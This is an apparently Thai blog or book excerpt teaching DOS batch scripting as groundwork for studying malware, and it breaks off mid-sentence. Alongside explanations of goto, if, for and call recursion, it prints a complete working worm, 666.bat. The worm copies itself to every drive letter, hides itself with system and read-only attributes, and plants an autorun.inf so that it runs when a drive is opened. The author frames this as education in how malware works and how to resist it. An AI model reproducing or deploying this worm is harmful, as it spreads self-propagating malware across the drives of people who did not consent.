/&gt;ผู้อ่านจะได้รับผลประโยชน์มากกว่าด้วย...ไม่ต้องซื้ออ่าน...ปริ้นท์มันที่บ้าน&lt;br /&gt;คุณนั้นแหละ...ขนาดเกมส์ไพ่ป็อกเขียนมาตั้งแต่สมัยอยู่ ปวส. ตอนนั้นว่า&lt;br /&gt;มันเขียนยากแล้วนะ...ยังโพสต์ Source code ให้ผู้อ่านไปเขียนเล่นกันฟรีๆ&lt;br /&gt;สมัยนั้นใช้ Fox Pro DOS เขียน คุณคิดว่ามันยากแค่ไหน... ตอนนี้มันทำงาน&lt;br /&gt;บน วินโดวส์ เขียนไม่ถึงวันก็เสร็จ&lt;br /&gt;&lt;br /&gt;เอาล่ะ มาเขาเรื่องกันดีกว่า...&lt;br /&gt;&lt;br /&gt;มัลลิคอยอัส ซอฟต์แวร์ หรือ Malware นั้น จำแนกได้หลายประเภท แต่ที่&lt;br /&gt;ผู้ใช้คอมพิวเตอร์ แยกแยะกันไม่ค่อยจะออกกันซะเลยคือ ไวรัส กับ หนอน&lt;br /&gt;คอมพิวเตอร์ ถ้าคุณเองเป็นผู้ถูกเล่นงานล่ะก็...ไม่สำคัญหลอกว่ามันจะเป็น&lt;br /&gt;อะไร...แต่เกลียดมันอย่างเดียว...แต่ถ้าคุณเป็นผู้เขียนหรือผู้ที่ศึกษาด้าน&lt;br /&gt;ความปลอดภัยระบบ...ขอบอกว่ามันจำแนกอย่างนี้&lt;br /&gt;1. ไวรัสสามารถแพร่ตัวมันเองไปกับหนอนได้&lt;br /&gt;2. หนอนคอมพิวเตอร์ไม่สามารถแพร่เชื้อใส่ไวรัสได้แต่อาศัยในม้าโทรจัน&lt;br /&gt;ได้&lt;br /&gt;3. ไวรัสสามารถฝั่งตัวในหนอน...และม้าโทรจันได้โดยไม่ต้องรอการเรียก&lt;br /&gt;ใช้จากหนอนหรือม้าโทรจัน หรืออาศัยฝั่งอยู่ในรูปแบบของคำสั่งทำลายได้&lt;br /&gt;&lt;br /&gt;อ่ะมาเข้าสู่...ปฐมภูมิของ แบทไฟล์ไวรัส&lt;br /&gt;&lt;br /&gt;กรณีศึกษาเพื่อทำความเข้าใจเกี่ยวกับคำสั่งไวรัส&lt;br /&gt;1. หนอนและไวรัสแบทช์ไฟล์&lt;br /&gt;เจาะลึก DOS Batch File (ปูพื้นฐานการศึกษามัลแวร์)&lt;br /&gt;Batch File คืออะไร...มันคือชุดคำสั่งที่รวบรวมคำสั่งบน Command Line (หรือคำสั่งบน หน้าต่าง Cmd ของ วินโดวส์ XP) ซึ่งในอดีต...DOS สร้างขึ้นมาเพื่อเป็นเมนูลัดบนระบบปฏิบัติการรุ่นโบราณที่ทำงานอยู่บน "คอนโซล(แป้นพิมพ์และจอภาพ)" เช่นการ CD \DOS คือการเข้าไปยัง Directory DOS หากจะพิมพ์ข้อความเหล่านั้นทั้งหมด...บ่อยๆ ครั้ง จะทำให้เสียเวลา DOS จึงให้สามารถนำคำสั่งที่ใช้บ่อยๆ มาบันทึกเป็นแฟ้มข้อความที่มีนามสกุล .BAT เพื่อให้สามารถพิมพ์ชื่อแฟ้ม .BAT นั้นและตามด้วย Enter ก็สามารถเรียกใช้คำสั่งทั้งหมดในนั้นได้คำสั่งเพียงคำสั่งเดียวคุณเองจำมันได้ จะกลายเป็นเส้นทางลัดและคำสั่งแบบซับซ้อน&lt;br /&gt;ซึ่งตัวของ Batch File เองสามารถทำงานอะไรได้บ้าง...โอย...มันทำงานได้มากจนคุณเองคาดไม่ถึงเลย...ตั้งแต่การล็อกระบบ, ตรวจสอบข้อมูล Error หรือ, เขียนไวรัส...(อันสุดท้ายนี้ไม่ค่อยชอบนะแต่คุ้นเคย) และผู้อ่านที่บางคนไม่เคยแตะ...DOS มา ก่อนจะศึกษาได้หรือเปล่า...ได้ครับ...แต่ต้องมีพื้นฐานต้องหาอ่านกันหน่อย ในหนังสือเล่มนี้จะอธิบายเฉพาะคำสั่งที่สำคัญๆ เท่านั้น...เพราะเกรงว่าถ้าอธิบายทุกๆ คำสั่งของ DOS เนื้อหาของหนังสือจะไม่พอครับ...&lt;br /&gt;เอาล่ะ...ปูพื้นกันใหม่ด้วย DOS บนวินโดวส์เอ็กซ์พี...&lt;br /&gt;DOS ที่ทำงานบนวินโดวส์ 32 บิต มันจะขยายการทำงานของ Environment Memory ที่คุณใช้กำหนดตัวแปรด้วยคำสั่ง SET และมันก็ทำงานร่วมกับชื่อแฟ้มข้อมูลที่มีขนาดยาวๆ ได้สบาย รวมถึงบรรจุคำสั่งภายใน (Internal Command) เอาไว้ในระบบวินโดวส์ ครับ...เป็นผลให้ตำรา DOS ที่ คุณเคยเปิดอ่าน...เก็บมันใส่ลังได้เลยเพราะคำสั่งใหม่ๆ เพิ่มเข้ามาเพียบ...ผมเองก็นำมาสอนได้ไม่ทุกคำสั่งครับ...แต่มีรายชื่อคำ สั่งภายใน (Internal Command) ให้คุณดูเล่นๆ ดังนี้ ASSOC, AT, ATTRIB, BREAK, CACLS, CALL, CD, CHCP, CHDIR, CHKDSK,CHKNTFS, CLS, CMD, COLOR, COMP, COMPACT, CONVERT, COPY, DATE,DEL, DIR, DISKCOMP, DISKCOPY, DOSKEY, ECHO, ENDLOCAL, ERASE,EXIT, FC, FIND, FINDSTR, FOR, FORMAT, FTYPE, GOTO, GRAFTABL,HELP, IF, LABEL, MD, MKDIR, MODE, MORE, MOVE, PATH, PAUSE, POPD, PRINT, PROMPT, PUSHD, RD, RECOVER, REM, REN, RENAME, REPLACE,RMDIR, SET, SETLOCAL, SHIFT, SORT, START, SUBST, TIME, TITLE, TREE, TYPE, VER, VERIFY, VOL, XCOPY นี้คือคำสั่งที่สามารถทำงานได้ทุกเวลาที่ วินโดวส์ทำงานครับ ไม่เหมือนกับ (External Command) เช่น EDIT.EXE, FDISK.EXE ซึ่งไวรัสเองสามารถลบแฟ้มคำสั่งเหล่านั้นทิ้ง ส่งผลให้ใช้คำสั่งนั้นไม่ได้ ตัวอย่างคือถ้าไวรัสลบแฟ้ม REG.EXE ทิ้งไปซะ จะทำให้ไม่สามารถแก้ไขระบบรีจีสตรีย์ ของวินโดวส์ได้ใน DOS Command และถ้าไวรัสลบแฟ้ม REGEDIT.EXE, REGEDIT32.EXE ทิ้ง ไปอีก ก็ไม่สามารถเข้ารีจีสตรีย์ ในวินโดวส์ได้เลย ทำให้การฆ่าไวรัสยากขึ้นอีกมาก อย่างไรก็ดี คุณรู้แล้วควรสำรองแฟ้มเหล่านี้เก็บเอาไว้เพื่อไม่ให้ถูกเล่นงานจากไวรัสแบบ เซียน&lt;br /&gt;คำสั่งบน DOS นั้น ประกอบด้วย...&lt;br /&gt;[คำสั้งDOS]วรรค[/ พารามิเตอร์]วรรค[ที่อยู่แฟ้มข้อมูลหรือโฟลเดอร์]&lt;br /&gt;เช่น DIR /AS C:\WINDOWS&lt;br /&gt;หรือ&lt;br /&gt;[คำสั่งDOS]วรรค[+- พารามิเตอร์]วรรค[ที่อยู่แฟ้มข้อมูลหรือโฟลเดอร์]&lt;br /&gt;เช่น ATTRIB +R +H +S C:\AUTOEXEC.BAT&lt;br /&gt;หรือ&lt;br /&gt;[คำสั่งDOS]วรรค[คำสั่งย่อย]วรรค[ที่อยู่แฟ้มข้อมูลหรือโฟลเดอร์]&lt;br /&gt;เช่น REG QUERY HKLM\SYSTEM&lt;br /&gt;หรือจะดูรูปแบบคำสั่งในตัวช่วย&lt;br /&gt;[คำสั่งDOS] /?&lt;br /&gt;เช่น COPY /?&lt;br /&gt;หรือ&lt;br /&gt;[คำสั่งDOS]วรรค[คำสั่งย่อย] /?&lt;br /&gt;เช่น REG QUERY /?&lt;br /&gt;DOS จะมีอุปกรณ์เชื่อมต่อที่สำคัญอยู่ 5 แฮนเดิล...&lt;br /&gt;ซึ่งทำงานเสมอ..โดยไม่มีโปรแกรมใดเข้าไปแตะต้อง...นอกจากยืมใช้งาน&lt;br /&gt;1. อุปกรณ์ "CON" ใช้อ้างถึงเมื่อต้องการติดต่อจอภาพกับคีย์บอร์ด&lt;br /&gt;2. อุปกรณ์ "AUX" ใช้อ้างถึงเมื่อต้องการติดต่อพอร์ตสื่อสารอนุกรม&lt;br /&gt;3. อุปกรณ์ "PRN" ใช้อ้างถึงเมื่อต้องการติดต่อเครื่องพิมพ์ (Default)&lt;br /&gt;4. อุปกรณ์ "LPT" ใช้อ้างถึงพอร์ตขนาน&lt;br /&gt;5. อุปกรณ์ "NUL" ใช้อ้างถึงเมื่อไม่ต้องการส่งข้อมูลไปที่ใดเลยผลทำให้การแสดงผลของคำสั่งไม่มีหรือหายไป...&lt;br /&gt;คำสั่งเชื่อมต่อ หรือ "ไปป์ปิ้ง ; Piping"&lt;br /&gt;และคำสั่งที่จะอ้างถึงอุปกรณ์เหล่านั้นเราเรียก "ท่อ Pipe" หรือคำสั่ง "ไปป์ปิ้ง" มีอยู่ 5 คำสั่งคือ&lt;br /&gt;1. | "เชื่อมต่อ" คำสั่งนี้เป็นคำสั่งไปป์ตัวจริงใช้เชื่อมคำสั่ง DOS 2 คำสั่งให้ทำงานพร้อมกัน 2 คำสั่งอย่างมากเท่าที่ทำงานมา) แต่คำสั่งนี้ทำงานได้ตั้งแต่ DOS 5 เป็นต้นมาแต่มีข้อเสียคือถ้าจะใช้คำสั่งนี้...ห้ามใช้กับอุปกรณ์ ROM เช่น CD-ROM กล่าวคือคำสั่งต้องอาศัย Temporary ในการทำงานจึงไม่สามารถทำงานกับอุปกรณ์ที่ป้องกันการเขียนได้&lt;br /&gt;2. &gt; "ยิงออก" คำสั่งนี้เป็นคำสั่งส่งผลหน้าจอภาพไปยังอุปกรณ์ทั้ง 5&lt;br /&gt;3. &gt;&gt; "ยิงเพิ่ม" คำสั่งนี้เป็นคำสั่งส่งผลหน้าจอภาพเพิ่มเติมจาก "ยิงออก" ไปยังอุปกรณ์ทั้ง 5&lt;br /&gt;4. &lt; "รับเข้า" คำสั่งนี้เป็นคำสั่งส่งผลจากคำสั่งด้านหลังเข้ามา&lt;br /&gt;5. &amp; "และคำสั่ง" (ใช้ในวินโดวส์ XP ขึ้นไป) เนื่องจาก XP สามารถเขียนคำสั่ง DOS หลายคำสั่งในบรรทัดเดียวกันได้...(บางคนไม่รู้) และคำสั่งที่ใช้ในการเชื่อมต่อคำสั่งเหล่านั้นคือ (คำสั่งDOS) &amp; (คำสั่งDOS) &amp; (คำสั่งDOS)&lt;br /&gt;ตัวอย่างคำสั่งที่น่าสนใจ&lt;br /&gt;COPY CON A.BAT (หมายถึง "คัดลอกอุปกรณ์ CON ในชื่อ A.BAT")&lt;br /&gt;พิมพ์คำสั่งลงไป...เพราะนี้คือแป้นรับคำสั่งแบบ Notepad แต่มันกลับไปแก้ไขบรรทัดบนไม่ได้...จบการทำงานด้วย Ctrl+Z&lt;br /&gt;TYPE A.BAT &gt;PRN (หมายถึง "พิมพ์ข้อความ A.BAT ไปที่ เครื่องพิมพ์")&lt;br /&gt;มาดูการเขียนหนอนคอมพิวเตอร์กันซะเลย...&lt;br /&gt;:: นี้คือแบทช์ไฟล์หนอนคอมพิวเตอร์ที่ทำงานบนวินโดวส์ 98 , วินโดวส์ Me และ วินโดวส์ XP&lt;br /&gt;:: ส่งผลให้ทุกไดร์ฟของระบบติด Autorun.INF พร้อมแนบแฟ้ม 666.bat ซึ่งเป็นหนอนไปด้วย&lt;br /&gt;:: หนอนนี้จะทำงานต่อเมื่อมีคนดับเบิ้ลคลิ๊กที่ไดร์ฟที่ติดหนอน...มันจึงเริ่มทำงานในทันที&lt;br /&gt;@echo off&lt;br /&gt;:: คำสั่งนี้คือการซ่อนบรรทัดคำสั่ง Command Line บนดอสไม่ให้แสดงการทำงาน&lt;br /&gt;if not "%1"=="" goto Interface&lt;br /&gt;:: คำสั่งนี้ไว้ตรวจสอบว่ามีการเรียกใช้ลูปการค้นหาไดร์ฟหรือไม่ถ้ามีจะไปที่ตำแหน่งติดเชื้อ&lt;br /&gt;for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do call %0 %%d&lt;br /&gt;:: วนการทำงานจนกว่าครบทุกไดร์ฟ...และทำการเรียกตัวเองขึ้นมาโดยส่งข้อมูลเป็นชื่อไดร์ฟ&lt;br /&gt;Start .&lt;br /&gt;:: เข้าสู่หน้าต่างวินโดวส์ตามปกติ...เพื่อไม่ให้ผิดสังเกต&lt;br /&gt;goto endbat&lt;br /&gt;:: ไปที่ตำแหน่งสุดท้าย...เพราะหมดคำสั่งควบคุม&lt;br /&gt;:Interface&lt;br /&gt;:: นี้คือตำแหน่งเริ่มต้นติดเชื้อ&lt;br /&gt;type 666.bat &gt;%1:\666.bat&lt;br /&gt;:: คัดลอกแฟ้ม 666.bat ซึ่งเป็นหนอนไปยังทุกไดร์ฟที่พบ&lt;br /&gt;attrib +s +h +r %1:\666.bat &gt; nul&lt;br /&gt;:: กำหนดให้แฟ้มหนอน 666.bat เป็นแฟ้มระบบและซ่อนตัวและห้ามเขียน&lt;br /&gt;attrib -r -h -s %1:\autorun.inf&gt;nul&lt;br /&gt;:: กำหนดคุณสมบัติของ Autorun.inf ถ้าพบจะแก้ให้เป็นแฟ้มปกติเขียนได้&lt;br /&gt;echo [autorun] &gt; %1:\autorun.inf&lt;br /&gt;:: ส่งข้อความ [autorun] ไปยังแฟ้ม Autorun.inf เพื่อสร้างคำสั่งหนอน&lt;br /&gt;echo shellexecute=666.bat &gt;&gt;%1:\autorun.inf&lt;br /&gt;:: ส่งข้อความต่อท้ายในอีกบรรทัด shellexcute=666.bat เพื่อเรียกหนอนทำงานเมื่อ Autorun&lt;br /&gt;attrib +s +h +r %1:\autorun.inf &gt; nul&lt;br /&gt;:: กำหนดให้แฟ้ม Autorun.inf เป็นแฟ้มระบบและซ่อนตัวและห้ามเขียน&lt;br /&gt;:endbat&lt;br /&gt;:: สิ้นสุดคำสั่งหนอน&lt;br /&gt;จำแนกคำสั่งที่สำคัญในแบทช์ไฟล์...&lt;br /&gt;1. คำสั่ง @ (คำสั่งซ่อนบรรทัดคอมมานด์ไลน์) คำสั่งนี้ ใช้กำหนดหน้าคำสั่ง Echo Off ซึ่งก็ทำงานเหมือนกับคำสั่งนี้เช่นกันแต่ คำสั่ง Echo Off จะไม่มีผลต่อคำสั่งของมันเอง...จึงต้องอาศัยคำสั่ง @ นำหน้าอีกทีเพื่อซ่อนบรรทัดคอมมานด์ไลน์อีกที แต่ถ้าภายในคำสั่งของ แบทช์ไฟล์มีบรรทัดที่น้อยมาก ก็อาจจะใช้ @ นำหน้าคำสั่งเหล่านั้นได้เลยเพื่อให้ประหยัดเนื้อที่คำสั่ง เช่น&lt;br /&gt;@cls&lt;br /&gt;@dir /as /s&lt;br /&gt;หรือ&lt;br /&gt;@echo off&lt;br /&gt;cls&lt;br /&gt;dir /as /s&lt;br /&gt;2. คำสั่ง : (คำสั่งกำหนดตำแหน่งของชุดคำสั่ง) คำสั่งนี้คือการกำหนด ลาเบล (Label) หรือตำแหน่งของชุดคำสั่งดอสแต่ละคำสั่ง ซึ่งบางครั้ง อาจใช้กำหนดลูปการทำงานของชุดคำสั่งในแบทไฟล์เพื่อให้ทำงานแบบไม่มีวันหยุด เช่น&lt;br /&gt;@echo off&lt;br /&gt;:loop&lt;br /&gt;:: ตำแหน่งเริ่มต้น&lt;br /&gt;echo Loop Command&lt;br /&gt;:: แสดงข้อความ&lt;br /&gt;pause&lt;br /&gt;:: รอรับคีย์บอร์ดใดๆ&lt;br /&gt;goto Loop&lt;br /&gt;:: วนกลับไปที่ตำแหน่งเริ่มต้น&lt;br /&gt;สำหรับ :: (คำสั่งนี้ไม่มีในตำราใดๆ ครับ) เพราะเป็นการประยุกต์ใช้ คำสั่ง : แต่ทำการซ้อนกัน 2 ตัว เพื่อให้มันไม่ถูกเรียกใช้งานจากแบทช์ไฟล์ จึงมีค่าเท่ากับคำสั่ง REM (Remark หรือ หมายเหตุ) คำสั่งนี้ถูกประยุกต์ใช้งานในคู่มือการสอนเขียนแบทช์ไฟล์ในยุคแรกๆ มาตั้งนานแล้ว...เช่น&lt;br /&gt;:: นี้คือหมายเหตุ&lt;br /&gt;หรือ&lt;br /&gt;rem นี้คือหมายเหตุ&lt;br /&gt;3. คำสั่ง goto (คำ สั่งย้ายการทำงานไปยังลาเบลที่กำหนด) คำสั่งนี้มีผลต่อลาเบลที่อยู่ภายในแบทไฟล์นั้น...และในวินโดวส์เอ็กซ์พี นี้สามารถกำหนดให้มันรับอากิวเมนต์ของคำสั่ง IF ERRORLEVEL ได้ด้วย (ดูเงื่อนไขใน Help ของ ดอส) ในคำสั่ง : ที่ผ่านมาตำแหน่งถูกต้อง แต่ถ้าชื่อของตำแหน่งไม่ถูกต้อง เช่น&lt;br /&gt;:loop&lt;br /&gt;:: กำหนดตำแหน่งวนคำสั่ง&lt;br /&gt;@echo Loop Command&lt;br /&gt;:: แสดงข้อความเมื่อวนการทำงาน&lt;br /&gt;@goto Looop&lt;br /&gt;:: ไปยังตำแหน่ง Looop ซึ่งไม่มีอยู่ในคำสั่ง&lt;br /&gt;@echo Error Me&lt;br /&gt;:: คำสั่งนี้จะไม่สามารถทำงานได้&lt;br /&gt;จากตัวอย่างคำสั่งของแบทช์ไฟล์ไม่สามารถทำงานได้สมบรูณ์ เพราะคำสั่ง Looop นั้นไม่มีอยู่เนื่องจากผู้เขียนเติม o (โอ) เพิ่มเข้าไปอีกตัวจึงทำให้อ่านตำแหน่งผิดพลาด เป็นผลให้คำสั่งที่ต่อท้ายลงมาไม่สามารถทำงานได้ แต่คำสั่ง goto นั้นมีข้อดีตรงที่ไม่แยกแยะตัวพิมพ์เล็กหรือพิมพ์ใหญ่ เช่น&lt;br /&gt;:LooP&lt;br /&gt;:: กำหนดตำแหน่งวนการทำงานเป็นตัวพิมพ์เล็กและพิมพ์ใหญ่&lt;br /&gt;@echo Loop Command&lt;br /&gt;:: แสดงข้อความเมื่อวนการทำงาน&lt;br /&gt;@goto loop&lt;br /&gt;:: ไปยังตำแหน่ง LooP โดยไม่สนใจตัวพิมพ์เล็กหรือพิมพ์ใหญ่&lt;br /&gt;หมายเหตุ หากคำสั่งของแบทช์ไฟล์ทำงานไม่หยุด...ให้คุณกด {Ctrl+Break} เพื่อหยุดการทำงานของมัน&lt;br /&gt;4. คำสั่ง if not "%1" == "" ทำคำสั่ง (คำสั่งตัดสินใจ ถ้า พารามิเตอร์ที่ 1 ไม่ มีตัวอักษร ให้ทำ) คำสั่งนี้จะใช้ต่อเมื่อต้องการดูว่าพารามิเตอร์ที่ต่อท้ายแฟ้มแบทช์ไฟล์มี หรือไม่ เช่น สมมุติให้แฟ้มแบทช์ไฟล์นี้ชื่อ test.bat&lt;br /&gt;C:\&gt;test command1&lt;br /&gt;หมายถึง ส่งคำว่า command1 ไปประมวลผลในแฟ้มชื่อ test.bat และคำสั่งนั้นคือ %1 และหากสมมุติว่า เว้นวรรค และพิมพ์ command2 ต่อท้าย command1 ดูตัวอย่าง&lt;br /&gt;C:\&gt;test command1 command2&lt;br /&gt;คำว่า command2 จะถูกเรียกว่า พารามิเตอร์ที่ 2 แทนด้วย %2 ในทันที ซึ่งในแบทไฟล์นั้นสามารถรับได้สูงสุด 9 พารามิเตอร์ คือ %1 ถึง %9 ซึ่งก็มากดพอดู แต่หากแบทช์ไฟล์ของคุณต้องการพารามิเตอร์ที่มากกว่านั้น คงต้องศึกษาคำสั่ง shift เพิ่มเติมใน Help บนดอสของวินโดวส์เอ็กซ์พีกันอีกที&lt;br /&gt;กลับมาที่ if not "%1" == "" (ให้ทำ) ว่ามันทำงานอย่างไร ในคำสั่ง If นั้นมีกิ่งก้านสาขาของคำสั่งที่มากครับ...ผมเองก็ไม่สามารถนำมาอธิบายให้ได้หมด...แต่ถ้าต้องการศึกษาให้ลึกซึ้งคงต้องพึ่งพา Help กันนะครับ...ทีนี้มาดูซิว่าทำไม่ if "%1" == "" (ให้ทำ) หรือ if not "%1" == "" (ให้ทำ) ถึงต้องมีเครื่องหมาย "" (อัญประกาศ) กำหนดพารามิเตอร์ที่ 1 ทั้งนี้ทั้งนั้นเป็นเพราะว่า if %1 == (ให้ทำ) จะเห็นว่าชุดคำสั่งไม่สมบรูณ์ ถ้าบอกดอสให้ทราบว่า %1 นั้นต้องการเปรียบเทียบกับอะไรอยู่ เพราะ ถ้าคุณเว้นว่างเอาไว้เฉยๆ จะทำให้ดอสทำงานผิดพลาดนั้นเอง ซึ่งโดยปกติแล้ว if %1 == %2 (ให้ ทำ) จะสามารถเปรียบเทียบกันได้ทันที...โดยไม่ต้องระบุเครื่องหมายอัญประกาศหรือ เครื่องหมายอื่นๆ นำหน้ามันเพราะ แบทช์ไฟล์เป็นภาษาสคริปที่ประมวลข้อความ (การประมวลผลการคำนวนนั้นเพิ่งจะเริ่มมีในวินโดวส์เอ็กซ์พีเป็นต้นมา) จากตัวอย่างพอจะอธิบายออกมาเป็นรูปแบบดังนี้&lt;br /&gt;@if "%1" == "" echo มีการกำหนดพารามิเตอร์ที่ 1&lt;br /&gt;:: ถ้าพารามิเตอร์ที่ 1 ไม่มีข้อความแสดงข้อความ&lt;br /&gt;@if not "%1" = "" echo ไม่มีการกำหนดข้อความ&lt;br /&gt;:: ถ้าพารามเตอร์ไม่มีข้อความแสดงข้อความผิดพลาด&lt;br /&gt;หรือ&lt;br /&gt;@if "%1" == "" (echo กรุณาระบุข้อความ ) else (echo ข้อความคือ %1)&lt;br /&gt;:: เงื่อนไขนี้ใช้บนวินเอ็กซ์พีขึ้นไปเพราะดอสรุ่นเก่าๆ ไม่สามารถกำหนดเงื่อนไขแบบนี้ได้&lt;br /&gt;อย่าง ไรก็ดี...ผมก็อยากจะบอกน้องๆ นักศึกษาที่ไม่ได้เรียนรู้ภาษาคอมพิวเตอร์มาก่อนหรืออาจจะเคยเรียนแต่ยังไม่ คล่องเกี่ยวกับเงื่อนไขการคำนวนของภาษาคอมพิวเตอร์ว่า ... คำสั่ง IF... ELSE ... นั้น เป็นหัวใจสำคัญของทุกๆ ภาษาในการเขียนโปรแกรมคอมพิวเตอร์ ฉนั้น...ควรทำความเข้าใจอย่างมากในการศึกษาเงื่อนไขของคำสั่งนี้...ไม่ใช่ เพื่อการเขียนไวรัสเท่านั้น...แต่มันเป็นเงื่อนไขสำคัญในการเขียนโปรแกรมฆ่า ไวรัสด้วย...คำสั่งนี้คำสั่งเดียวสามารถทำให้โปรแกรมมีขนาดยาวหรือสั้นหรือ ทำงานได้รวดเร็วกว่า ผู้ที่เขียนโปรแกรมด้วยกัน&lt;br /&gt;5. คำสั่ง for %%ตัวแปร in (ชุดข้อมูล) do ทำคำสั่ง (สำหรับ %%ตัวแปร จาก ชุดข้อมูล ทำ คำสั่ง) คำสั่งนี้มีไว้สำหรับการประมวลผลแบบหลายข้อมูลภายในคำสั่งเดียว เช่น&lt;br /&gt;@for %%l in (bat vbs js) do dir *.%%l&lt;br /&gt;:: สำหรับ ตัวแปร l ให้ dir แฟ้มนามสกุล *.bat, *.vbs และ *.js&lt;br /&gt;จะเป็นการทำงานกับหลายแฟ้มหรือหลายๆ ชุดข้อมูล โดยต้องเว้นวรรค ขั้นแต่ละชุดข้อมูลเอาไว้ และใช้ตัวแปร %%l ซึ่งต้องมีเครื่องหมาย %% นำหน้าเพื่อบ่งบอกว่าเป็นตัวแปรที่มาจากชุดคำสั่ง for ถ้าไม่บ่งบอกให้ถูกหลักอาจจะทำให้คำสั่งทำงานผิดพลาดอย่างมาก มาดูตัวอย่างอีกตัวอย่างเพื่อความกระจ่างอีกที เช่น&lt;br /&gt;@for %%d in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do if exist %%d:\autorun.inf echo %%d: Werning!&lt;br /&gt;:: สำหรับตัวแปร d ถ้าพบแฟ้ม (ตัวแปร d แทนไดร์ฟข้อมูล):\autorun.inf แสดงข้อความเตือน (ตัวแปร d แทนไดร์ฟข้อมูล): Werning!&lt;br /&gt;ซึ่ง รูปแบบของคำสั่ง...ไม่มีอะไรซับซ้อน...เพียงแต่ต้องอ้างถึงรูปแบบของตัวแปร ให้ถูกต้อง...ก็สามารถทำงานได้ตามเป้าหมาย สำหรับเงื่อนไขของคำสั่ง FOR เชิงลึก คือ FOR /F และ เงื่อนไขอื่นๆ นั้นผมไม่ขออธิบายเพราะมันจะทำให้หนังสือเล่มนี้ดูเป็นหนังสือเชิงอ้าง อิง...ซึ่งผมไม่ตั้งใจให้เป็นเช่นนั้น เพราะวัตถุประสงค์ของผมต้องการให้ผู้อ่าน ปฏิบัติและทดลองและเพื่อกระตุ้นการศึกษาค้นคว้าเพิ่มเติมต่อไป...จึงย้ำอีก ทีว่าหนังสือเล่มนี้...เป็นเชิงปฏิบัติการณ์&lt;br /&gt;6. คำสั่ง call %0 %%d (เรียกใช้แบทไฟล์ที่ทำงานอยู่ พร้อมส่งตัวแปรไปยังพารามิเตอร์ที่ 1) คำสั่งนี้จะทำให้แบทไฟล์เกิดการทำงานแบบ Overflow หรือ Error ได้ เนื่องจาก ถ้าเขียนคำสั่งควบคุมนี้ไม่เป็นมันจะส่งผลให้หน่วยความเต็มได้...หรือเกิด การวนการทำงานของแบทไฟล์แบบไม่มีวันจบ เหมือนกับคำสั่ง goto เพียงแต่คำสั่งนี้จะส่งผลโดยตรงต่อหน่วยความจำ เช่น&lt;br /&gt;@echo Me Activeting...&lt;br /&gt;:: แสดงข้อความว่ากำลังทำงาน&lt;br /&gt;@call %0&lt;br /&gt;:: เรียกแฟ้มนี้ขึ้นมาทำงานอีก&lt;br /&gt;จาก ตัวอย่าง คำสั่งดังกล่าวจะทำงานแบบไม่มีวันจบ...รอจนกว่า ระบบปฏิบัติการณ์จะแสดงข้อความผิดพลาดในเรื่องการจัดการหน่วยความจำ หรือโปรแกรมอาจทำให้เครื่องค้างไปเลย จึงต้องระวังอย่างมากในการอ้างถึง %0 หรือ พารามิเตอร์ หลัก คือ ชื่อแฟ้มคำสั่งนั้นเอง ซึ่งโดยปกติแล้ว...จะไม่มีโปรแกรมแบทช์ไฟล์ใดอ้างถึงชื่อแฟ้มคำสั่งเพื่อมา ประมวลผล...นอกเสียจากเป็น "มัลแวร์" หรือ "คำสั่งฆ่ามัลแวร์" จึงต้องแยกแยะให้ดีหากจะเขียนโปรแกรมฆ่าไวรัสจำพวกนี้....&lt;br /&gt;มาดูตัวอย่างเพื่อทำความเข้าใจเกี่ยวกับการใช้คำสั่ง Call กันอีกตัวอย่าง เช่น&lt;br /&gt;@echo Me Activeting...&lt;br /&gt;:: แสดงข้อความ&lt;br /&gt;@call %0&lt;br /&gt;:: เรียกแฟ้มนี้ขึ้นมาทำงาน&lt;br /&gt;@%0&lt;br /&gt;:: กระโดดการทำงานไปยังแฟ้มที่เรียกใช้ คือ แฟ้มนี้ (คำสั่งนี้ไม่มีโอกาสได้ทำงาน)&lt;br /&gt;จากตัวอย่าง ดูเหมือนว่า คำสั่งน่าจะทำงานแบบสิ้นสุด...แต่ไม่สิ้นสุดเพราะว่า คำสั่ง call จะถูกเรียกใช้ก่อน ทุกๆ ครั้งที่รันแบทซ์ไฟล์ จึงทำให้คำสั่ง %0 นั้น ไม่สามารถทำงานได้...ในเครื่องที่ผมทดลองคือระบบปฏิบัติการวินโดวส์เอ็กซ์พี นั้น...มันจะแสดงหน้าต่างขึ้นมาสักพักและจะปิดตัวลง แต่ถ้าเรามาเขียนในทางกลับกัน เช่น&lt;br /&gt;@echo Me Activeting...&lt;br /&gt;:: แสดงข้อความ&lt;br /&gt;@%0&lt;br /&gt;:: กระโดดการทำงานไปยังแฟ้มที่เรียกใช้ คือ แฟ้มนี้&lt;br /&gt;@call %0&lt;br /&gt;:: เรียกแฟ้มนี้ขึ้นมาทำงาน (คำสั่งนี้ไม่มีโอกาสได้ทำงาน)&lt;br /&gt;จากตัวอย่าง คำสั่งนี้จะไม่ปิดตัวเองลงไป...เพราะมันทำงานคล้ายคำสั่ง goto ส่ง ผลให้หน่วยความจำไม่ได้ถูกใช้ไปมากและการวนลูปการทำงานก็ยังดำเนินต่อไป อย่างไม่สิ้นสุด แต่ถ้าเราเพิ่มคำสั่งจัดการมันให้เต็มรูปแบบด้วยเงื่อนไข...จะทำให้มันทำงาน ได้อย่างราบรื่น เช่น&lt;br /&gt;@echo Me Activeting...Parameter is %1&lt;br /&gt;:: ถ้าไม่มีพารามิเตอร์ ใดๆ จะแสดงข้อความ Me Activeting...Parameter is&lt;br /&gt;@if "%1" == "" %0 Again&lt;br /&gt;:: ถ้าพารามิเตอร์ว่าง จะส่งคำว่า Again เป็นพารามิเตอร์ (และกระโดดการทำงานไปโดยไม่สนใจคำสั่ง ด้านล่าง)&lt;br /&gt;@if "%1" == "Again" Call %0 End&lt;br /&gt;:: ถ้าพารามิเตอร์เป็น Again จะเรียกแฟ้มนี้ใหม่ ส่งคำว่า End เป็น พารามิเตอร์ และจบการทำงานเพราะ ไม่มีเงือนไขการตัดสินใจ&lt;br /&gt;เอา ล่ะ...มาถึงตอนนี้ก็พอจะรู้เกี่ยวกับคำสั่งที่จำเป็นหมดแล้ว...เหลือแต่การ ประยุกต์คำสั่งดอสทั้งหมดมาเขียนเป็นมัลแวร์ ซึ่งไม่มีใครสามารถบอกได้หลอกว่า หนอนของใครเจ๋ง หรือไวรัสของใครร้ายกาจ เพราะมันไม่ใช่วัตถุประสงค์ของหนังสือเล่มนี้... ผู้เขียน เผยแพร่คำสั่งเหล่านี้เพื่อให้พวกคุณเป็น นักทดลองที่รู้ทั้งวิธีการทำงานของมันและวิธีป้องกันมันอย่างเต็มตัวเพราะ การศึกษาเครื่องมือฆ่าคน หรือ 